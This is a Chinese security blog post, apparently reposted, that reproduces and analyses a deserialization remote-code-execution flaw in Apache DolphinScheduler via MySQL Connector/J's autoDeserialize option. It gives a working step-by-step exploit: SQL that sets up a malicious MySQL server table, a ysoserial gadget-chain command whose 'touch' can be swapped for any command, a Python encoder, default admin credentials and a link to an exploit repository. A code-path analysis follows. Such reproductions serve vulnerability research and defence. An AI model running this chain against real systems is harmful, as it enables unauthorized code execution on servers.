Dolphinscheduler反序列化漏洞复现与分析
2020-09-23 15:34:19 Author: xz.aliyun.com(查看原文) 阅读量:492 收藏

0x00 前言

上周看到有人在群里发了绿盟的漏洞通告

https://mp.weixin.qq.com/s/TvT22Wdw-SPBCKcl2pm2Pg

好奇点进去看了下,找到了漏洞信息,然后想着还没人发复现文章,我自个也整一个。
从搭建环境开始到最后复现成功各种踩坑,本来想放弃的,后来想了下还是坚持下来了。其实回过头来看觉得自己好蠢,明明就是半天就能搞定的事情。。。非得整了好几天。

0x01 漏洞相关

官方公布的poc

https://www.mail-archive.com/[email protected]/msg06077.html

poc如下

{"detectCustomCollations":true,"autoDeserialize":true}

虽然官方对漏洞的相关引用说明直接引用到了CVE-2017-3523,但搜了下都没找到相关信息,Mysql Connector/j 相关的漏洞只有2019年blackhat大会相关的披露。且从poc来看以及查看代码分析,比较大概率确定该漏洞就是2019年分享出来的那个利用。
漏洞复现参考了以下这几位师傅的文章

https://www.anquanke.com/post/id/203086
https://xz.aliyun.com/t/8159
https://www.cnblogs.com/Welk1n/p/12056097.html

通俗点来说就是,通过java的mysql客户端连接服务端,然后本地客户端被rce了。

0x02 环境搭建

环境搭建参考

https://dolphinscheduler.apache.org/zh-cn/docs/development/development-environment-setup.html

这里推荐用Linux编译调试,我在windows上折腾了很久没搞成功。

Linux(debian)+ Jdk8u,尤其要注意jdk的版本,因为这里是利用链之一

0x03 漏洞利用

1)配置mysql
参考如下链接

https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload

安装插件
复制rewrite_example.so到/usr/lib/mysql/plugin/rewrite_example.so
在mysql中执行

INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';

接着执行以下语句,可以直接保存为xxx.sql再导进去

CREATE database codeplutos;
Use codeplutos;
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
-- Table structure for payload
-- ----------------------------
DROP TABLE IF EXISTS `payload`;
CREATE TABLE `payload` (
  `COLLATION_NAME` varchar(255) DEFAULT NULL,
  `CHARACTER_SET_NAME` blob,
  `ID` int(5) DEFAULT NULL,
  `IS_DEFAULT` varchar(255) DEFAULT NULL,
  `IS_COMPILED` varchar(255) DEFAULT NULL,
  `SORTLEN` int(5) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of payload
-- ----------------------------
BEGIN;
INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
COMMIT;

SET FOREIGN_KEY_CHECKS = 1;

2)生成payload
我这里就不写成脚本了,虽然很不优雅,但将大概过程描述完就好。
首先ysoserial生成payload(我这里直接用fnmsd师傅改的改的ysoserial.jar)

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > t

touch /tmp/1.txt 这个替换成自己想要执行的命令,在同个目录下用这个py脚本进行转码生成payload字符

import os
import binascii
with open("t", 'rb') as f:
        payload_content = str(binascii.b2a_hex(f.read()))
        print payload_content

3)写入数据库

set @a=0x这里修改为你的payload;
update codeplutos.payload set character_set_name = @a;

(发现没有前面都是github那篇文章的复现步骤)
4)复现利用
默认用户名密码登陆
admin/dolphinscheduler123

点击添加数据库

填入信息,点击create(而不是connect,我在这里踩过坑)

复现成功,创建了一个1.txt

0x04 漏洞分析

看到这个poc的时候

{"detectCustomCollations":true,"autoDeserialize":true,"serverTimezone":"UTC"}

其实我第一反应就是2019年的blackhat的那个利用但我又不太确定,直到我按照其他师傅复现的19年的blackhat的那个漏洞利用方式来复现成功,仔细分析了一波。我们先看这个创建数据库的接口。
当我们点击create之后

进入该controller

并调用service层的createDataSource方法

最终调用DriverManager.getConnection进行连接数据库

我把这段代码拿出来,有没有很熟悉

connection = DriverManager.getConnection(datasource.getJdbcUrl(), datasource.getUser(), datasource.getPassword());


(其实也可以直接用其他师傅之前写的Fake_Mysql_Server,我这边就不再去试了。)
分析到这里还不够,我们回来看看这个Mysql Connector/j的版本号 5.1.34符合其他师傅复现的那个洞的版本号

除此以外,发现yso的利用链跟commons-collections的版本号也是3.2.2也不符合,一开始想着去寻找其他的利用链路,后来参考了下fnmsd师傅的文章发现,已经找到了利用链,那就是直接复现这个洞就好了

跟进 DriverManager.getConnection,继续接着上面的连接分析,而当detectCustomCollations设置为true的时候
com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

跟进后

最终进入到getObject

最终反序列化我们传入的payload

0x05 后记

本文写得很仓促,师傅们若是看到错误的点请指出。为了防止其他借鉴的师傅们的资源链接丢失,本人将各位师傅的工具上传到了github,并注明了出处。
https://github.com/MrMeizhi/DolphinschedulerExploit

0x06 引用

https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
https://www.anquanke.com/post/id/203086
https://xz.aliyun.com/t/8159
https://www.cnblogs.com/Welk1n/p/12056097.html
https://www.mail-archive.com/[email protected]/msg06077.html
https://mp.weixin.qq.com/s/TvT22Wdw-SPBCKcl2pm2Pg
https://dolphinscheduler.apache.org/zh-cn/docs/development/development-environment-setup.html


文章来源: http://xz.aliyun.com/t/8304
如有侵权请联系:admin#unsafe.sh